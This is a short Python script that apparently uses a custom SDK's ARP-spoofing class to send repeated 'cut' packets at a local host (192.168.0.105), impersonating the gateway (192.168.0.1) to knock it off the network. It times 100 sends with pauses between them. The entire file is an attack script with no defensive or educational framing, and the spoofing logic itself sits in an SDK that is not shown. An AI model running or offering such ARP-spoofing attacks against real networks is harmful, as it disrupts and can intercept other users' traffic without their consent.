from sdk.spoof import ArpCutPacket
from sdk.sr import sendf
from sdk.hackrandom import randsleep
from time import time, sleep

pkt = ArpCutPacket('192.168.0.105', '192.168.0.1')

def main(amount):
    for i in range(amount):
        t = time()
        sendf(pkt, 1, True)
        t = time() - t
        print(t, t/amount)
    
        sleep(2.13)

main(100)